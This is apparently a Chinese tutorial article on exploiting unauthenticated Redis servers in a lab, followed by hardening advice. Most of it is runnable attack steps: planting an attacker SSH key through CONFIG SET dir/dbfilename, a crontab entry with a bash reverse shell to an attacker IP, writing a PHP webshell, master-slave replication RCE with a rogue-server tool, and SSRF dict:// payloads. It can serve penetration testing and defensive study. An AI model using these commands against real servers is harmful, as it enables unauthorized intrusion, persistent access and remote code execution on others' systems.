溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Redis漏洞有哪些

發(fā)布時間:2022-01-05 17:46:12 來源:億速云 閱讀:220 作者:小新 欄目:網(wǎng)絡(luò)管理

這篇文章主要為大家展示了“Redis漏洞有哪些”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“Redis漏洞有哪些”這篇文章吧。

Redis簡介

redis是一個key-value存儲系統(tǒng)。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數(shù)據(jù)類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎(chǔ)上,redis支持各種不同方式的排序。與memcached一樣,為了證效率,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是redis會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎(chǔ)上實現(xiàn)了master-slave(主從)同步。

Redis常用命令:

set xz "Hacker"                     # 設(shè)置鍵xz的值為字符串Hacker
      get xz                              # 獲取鍵xz的內(nèi)容
      SET score 857                       # 設(shè)置鍵score的值為857
      INCR score                          # 使用INCR命令將score的值增加1
      GET score                           # 獲取鍵score的內(nèi)容
      keys *                              # 列出當(dāng)前數(shù)據(jù)庫中所有的鍵
      config set protected-mode no        # 關(guān)閉安全模式
      get anotherkey                      # 獲取一個不存在的鍵的值
      config set dir /root/redis          # 設(shè)置保存目錄
      config set dbfilename redis.rdb     # 設(shè)置保存文件名
      config get dir                      # 查看保存目錄
      config get dbfilename               # 查看保存文件名
      save                                # 進行一次備份操作
      flushall                            # 刪除所有數(shù)據(jù)
      del key                             # 刪除鍵為key的數(shù)據(jù)
      slaveof ip port                 # 設(shè)置主從關(guān)系
      redis-cli -h ip -p 6379 -a passwd   # 外部連接

Redis基本操作

1.使用SET和GET命令,可以完成基本的賦值和取值操作;
2.Redis是不區(qū)分命令的大小寫的,set和SET是同一個意思;
3.使用keys *可以列出當(dāng)前數(shù)據(jù)庫中的所有鍵;
4.當(dāng)嘗試獲取一個不存在的鍵的值時,Redis會返回空,即(nil);
5.如果鍵的值中有空格,需要使用雙引號括起來,如"Hello World";

Redis配置文件參數(shù):

port參數(shù)

格式為port后面接端口號,如port 6379,表示Redis服務(wù)器將在6379端口上進行監(jiān)聽來等待客戶端的連接。

bind參數(shù)

格式為bind后面接IP地址,可以同時綁定在多個IP地址上,IP地址之間用空格分離,如bind 192.168.1.100 10.0.0.1,表允許192.168.1.100和10.0.0.1兩個IP連接。如果設(shè)置為0.0.0.0則表示任意ip都可連接,說白了就是白名單。

save參數(shù)

格式為save <秒數(shù)> <變化數(shù)>,表示在指定的秒數(shù)內(nèi)數(shù)據(jù)庫存在指定的改變數(shù)時自動進行備份(Redis是內(nèi)存數(shù)據(jù)庫,這里的備份就是指把內(nèi)存中的數(shù)據(jù)備份到磁盤上)??梢酝瑫r指定多個save參數(shù),如:
save 900 1
save 300 10
save 60 10000
表示如果數(shù)據(jù)庫的內(nèi)容在60秒后產(chǎn)生了10000次改變,或者300秒后產(chǎn)生了10次改變,或者900秒后產(chǎn)生了1次改變,那么立即進行備份操作。

requirepass參數(shù)

格式為requirepass后接指定的密碼,用于指定客戶端在連接Redis服務(wù)器時所使用的密碼。Redis默認的密碼參數(shù)是空的,說明不需要密碼即可連接;同時,配置文件有一條注釋了的requirepass foobared命令,如果去掉注釋,表示需要使用foobared密碼才能連接Redis數(shù)據(jù)庫。

dir參數(shù)

格式為dir后接指定的路徑,默認為dir ./,指明Redis的工作目錄為當(dāng)前目錄,即redis-server文件所在的目錄。注意,Redis產(chǎn)生的備份文件將放在這個目錄下。

dbfilename參數(shù)

格式為dbfilename后接指定的文件名稱,用于指定Redis備份文件的名字,默認為dbfilename dump.rdb,即備份文件的名字為dump.rdb。

config命令

通過config命令可以讀取和設(shè)置dir參數(shù)以及dbfilename參數(shù),因為這條命令比較危險(實驗將進行詳細介紹),所以Redis在配置文件中提供了rename-command參數(shù)來對其進行重命名操作,如rename-command CONFIG HTCMD,可以將CONFIG命令重命名為HTCMD。配置文件默認是沒有對CONFIG命令進行重命名操作的。

protected-mode參數(shù)

redis3.2之后添加了protected-mode安全模式,默認值為yes,開啟后禁止外部連接,所以在測試時,先在配置中修改為no。

測試環(huán)境

攻擊機Kali(192.168.33.131)
目標(biāo)機Ubantu 16(192.168.33.133)

漏洞利用

利用原理:

Redis 提供了2種不同的持久化方式,RDB方式和AOF方式.

  • RDB 持久化可以在指定的時間間隔內(nèi)生成數(shù)據(jù)集的時間點快照

  • AOF 持久化記錄服務(wù)器執(zhí)行的所有寫操作命令.

經(jīng)過查看官網(wǎng)文檔發(fā)現(xiàn)AOF方式備份數(shù)據(jù)庫的文件名默認為appendonly.aof,可以在配置文件中通過appendfilename設(shè)置其他名稱,通過測試發(fā)現(xiàn)不能在客戶端交互中動態(tài)設(shè)置appendfilename,所以不能通過AOF方式備份寫任意文件.

  • RDB方式備份數(shù)據(jù)庫的文件名默認為dump.rdb,此文件名可以通過客戶端交互動態(tài)設(shè)置dbfilename來更改,造成可以寫任意文件.

環(huán)境搭建:

靶機:unbantu 16

為快速復(fù)現(xiàn),默認apt-get安裝
先進行更新
sudo apt-get upgrade
安裝
sudo apt-get install redis-server
默認安裝到 /usr/bin/redis-server
直接啟動服務(wù)就可以執(zhí)行redis-server或者redis-server+(配置文件目錄)
注意要將配置文件中的bind參數(shù)改為0.0.0.0或者注釋掉,并且修改protected-mode為no允許外連。
還需要關(guān)閉防火墻,具體命令:sudo ufw disable  查看防火墻狀態(tài):sudo ufw status

安裝之后開啟redis服務(wù)準(zhǔn)備復(fù)現(xiàn)

Redis漏洞有哪些

利用方式

1、寫 ssh-keygen 公鑰登錄服務(wù)器

原理:

SSH提供兩種登錄驗證方式,一種是口令驗證也就是賬號密碼登錄,另一種是密鑰驗證。

所謂密鑰驗證,其實就是一種基于公鑰密碼的認證,使用公鑰加密、私鑰解密,其中公鑰是可以公開的,放在服務(wù)器端,你可以把同一個公鑰放在所有你想SSH遠程登錄的服務(wù)器中,而私鑰是保密的只有你自己知道,公鑰加密的消息只有私鑰才能解密,大體過程如下:

(1)客戶端生成私鑰和公鑰,并把公鑰拷貝給服務(wù)器端; (2)客戶端發(fā)起登錄請求,發(fā)送自己的相關(guān)信息; (3)服務(wù)器端根據(jù)客戶端發(fā)來的信息查找是否存有該客戶端的公鑰,若沒有拒絕登錄,若有則生成一段隨機數(shù)使用該公鑰加密后發(fā)送給客戶端; (4)客戶端收到服務(wù)器發(fā)來的加密后的消息后使用私鑰解密,并把解密后的結(jié)果發(fā)給服務(wù)器用于驗證; (5)服務(wù)器收到客戶端發(fā)來的解密結(jié)果,與自己剛才生成的隨機數(shù)比對,若一樣則允許登錄,不一樣則拒絕登錄。

條件:

1、Redis服務(wù)使用ROOT賬號啟動

2、服務(wù)器開放了SSH服務(wù),而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務(wù)器。

詳細步驟:

在攻擊機本地生成公鑰文件:

需要為我們的公鑰文件設(shè)置一個私鑰

公鑰文件默認路徑:/root/.ssh/id_rsa.pub

Redis漏洞有哪些

具體命令:

ssh-keygen -t rsa
cd /root/.ssh
ls
cat id_rsa.pub

然后通過未授權(quán)訪問目標(biāo)機

Redis漏洞有哪些

具體命令

redis-cli -h 192.168.33.134        #連接目標(biāo)主機redis
config get dir                  #檢查當(dāng)前保存路徑
config get dbfilename              #檢查保存文件名
config set dir /root/.ssh/         #設(shè)置保存路徑
config set dbfilename authorized_keys #設(shè)置保存文件名
set xz "\n\n\n 公鑰 \n\n\n"         #將公鑰寫入xz健
save                         #進行保存

利用公鑰進行SSH登錄攻擊機,第一次需要輸入yes

Redis漏洞有哪些

2、利用計劃任務(wù)反彈shell

原理:

我們都知道crontab是做計劃任務(wù)的,啟動的任務(wù)存放在/var/spool/cron中,root可以修改計劃任務(wù),可以將執(zhí)行命令反彈shell直接寫入計劃任務(wù)中

條件:

root啟用Redis

redis無密碼或者弱密碼

詳細步驟:

先在攻擊機使用nc監(jiān)聽8888端口nc lvp 8888

Redis漏洞有哪些

然后去操作Redis,具體命令:

redis-cli -h 192.168.33.134            #連接redis
flushall                           #清除所有鍵值
config set dir /var/spool/cron/crontabs/  #設(shè)置保存路徑  
config set dbfilename shell               #保存名稱
set xz "\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n"     #將反彈shell寫入xz鍵值
save                             #寫入保存路徑的shell文件

Redis漏洞有哪些

Redis漏洞有哪些

看到監(jiān)聽的命令行窗口已經(jīng)有彈回來的shell了(這里有很多的坑,ubantu寫入會出現(xiàn)亂碼和不回彈的情況,反彈shell測試最好還是用centos測試吧)

ubantu的坑參考這個文章https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/

3、Redis直接寫webshell

條件:

知道網(wǎng)站絕對路徑,并且需要增刪改查權(quán)限

root啟動redis

redis弱密碼或者無密碼

補充:若不知道物理路徑,可嘗試尋找網(wǎng)站的應(yīng)用程序錯誤或者常見絕對路徑去嘗試。

詳細步驟:

redis-cli -h 192.168.3.134     #連接Redis
config set dir /www/admin/localhost_80/wwwroot    #設(shè)置要寫入shell的路徑
set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"         #寫入phpinfo()到xxx鍵
config set dbfilename phpinfo.php 
save

Redis漏洞有哪些

成功寫入

Redis漏洞有哪些

4、Redis主從復(fù)制getshell

原理:

Redis如果當(dāng)把數(shù)據(jù)存儲在單個Redis的實例中,當(dāng)讀寫體量比較大的時候,服務(wù)端就很難承受。為了應(yīng)對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數(shù)據(jù)相同,而從機只負責(zé)讀,主機只負責(zé)寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。

在兩個Redis實例設(shè)置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上,然后在從機上加載so文件,我們就可以執(zhí)行拓展的新命令了。

條件:

Redis 版本(4.x~5.0.5)(新增模塊功能,可以通過C語言并編譯出惡意.so文件)

redis弱密碼或者無密碼

root啟動redis

詳細步驟:

模擬主從關(guān)系,具體命令

root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> slaveof 192.168.33.131 6379
OK
192.168.33.134:6379> get xz
(nil)
192.168.33.134:6379> exit
root@kali:~/桌面# redis-cli
127.0.0.1:6379> get xz
(nil)
127.0.0.1:6379> set xz xz
OK
127.0.0.1:6379> exit
root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> get xz
"xz"
192.168.33.134:6379>

Redis漏洞有哪些

設(shè)置主從關(guān)系

root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> slaveof 192.168.33.131 6379
OK

然后在kali下載利用工具https://github.com/n0b0dyCN/redis-rogue-server

下載之后cd進入RedisModulesSDK目錄使用make編譯,當(dāng)然不想編譯也可以用作者給出的默認exp.so也是可以的。

有兩種使用方法

一種是交互式shell,另一種是反彈shell

交互shell演示:

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根據(jù)提示輸入i進入交互shell

Redis漏洞有哪些

反彈shell

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根據(jù)提示輸入r,接著輸入ip和端口進行反彈

Redis漏洞有哪些

ps:redis主從RCE打多了會出現(xiàn)redis癱瘓的情況,所以不到萬不得已,盡量不要打主從

5、結(jié)合SSRF進行利用

原理:

SSRF攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng),這里通過SSRF使用dict協(xié)議訪問本地Redis

條件:

root啟用redis

目標(biāo)機存在dict協(xié)議

知道網(wǎng)站絕對路徑

redis無密碼或者弱密碼

詳細步驟:

使用pikachu的靶場,這里采用dict協(xié)議,目標(biāo)機需要先安裝dict協(xié)議

這里直接寫入<>會被實體編碼,?直接被截斷,暫時沒找到解決辦法 
dict://192.168.33.134:6379/set:xz:<?php phpinfo() ;?> dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
dict://192.168.33.134:6379/save        

直接寫入失敗,所以可以采用主從復(fù)制寫入 
dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot
dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
先設(shè)置好保存的路徑和保存的文件名
然后登入kali進行主從復(fù)制操作,方法和上面的一樣
127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"
再去web端執(zhí)行save操作
dict://192.168.33.134:6379/save
這樣數(shù)據(jù)直接回同步到目標(biāo)機

寫入失敗截圖:

Redis漏洞有哪些成功寫入截圖:

Redis漏洞有哪些

Redis漏洞有哪些

6、redis寫lua

redis2.6之前內(nèi)置了lua腳本環(huán)境在redis未授權(quán)的情況下可以利用lua執(zhí)行系統(tǒng)命令,這里沒有深入研究,感興趣可以看這篇文章:https://wooyun.x10sec.org/static/drops/papers-3062.html

批量檢測未授權(quán)redis腳本

https://github.com/Ridter/hackredis

redis未授權(quán)漏洞應(yīng)急響應(yīng)案例:

redis未授權(quán)訪問致遠程植入挖礦腳本(防御篇)

https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w

利用拓展:

Windows下如何getshell?

寫入webshell,需要知道web路徑
寫入啟動項,需要目標(biāo)服務(wù)器重啟
寫入MOF,MOF每隔5秒鐘會自動執(zhí)行一次,適用于Windows2003。

修復(fù)方案:

1、禁止一些高危命令(重啟redis才能生效)

  • 修改 redis.conf 文件,禁用遠程修改 DB 文件地址

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""
  • 或者通過修改redis.conf文件,改變這些高危命令的名稱

rename-command FLUSHALL "name1"

rename-command CONFIG "name2"

rename-command EVAL "name3"

2、以低權(quán)限運行 Redis 服務(wù)(重啟redis才能生效)

為 Redis 服務(wù)創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸

groupadd -r redis && useradd -r -g redis redis

3、為 Redis 添加密碼驗證(重啟redis才能生效)

修改 redis.conf 文件,添加

requirepass mypassword
(注意redis不要用-a參數(shù),明文輸入密碼,連接后使用auth認證)

4、禁止外網(wǎng)訪問 Redis(重啟redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服務(wù)只在當(dāng)前主機可用

bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯。

5、修改默認端口

修改配置文件redis.conf文件

Port 6379

默認端口是6379,可以改變成其他端口(不要沖突就好)

6、保證 authorized_keys 文件的安全

為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。

  • 將 authorized_keys 的權(quán)限設(shè)置為對擁有者只讀,其他用戶沒有任何權(quán)限:

chmod 400 ~/.ssh/authorized_keys
  • 為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:

chattr +i ~/.ssh/authorized_keys
  • 然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置 ~./ssh 的 immutable 權(quán)限:

chattr +i ~/.ssh

7、設(shè)置防火墻策略

如果正常業(yè)務(wù)中Redis服務(wù)需要被其他服務(wù)器來訪問,可以設(shè)置iptables策略僅允許指定的IP來訪問Redis服務(wù)。

以上是“Redis漏洞有哪些”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI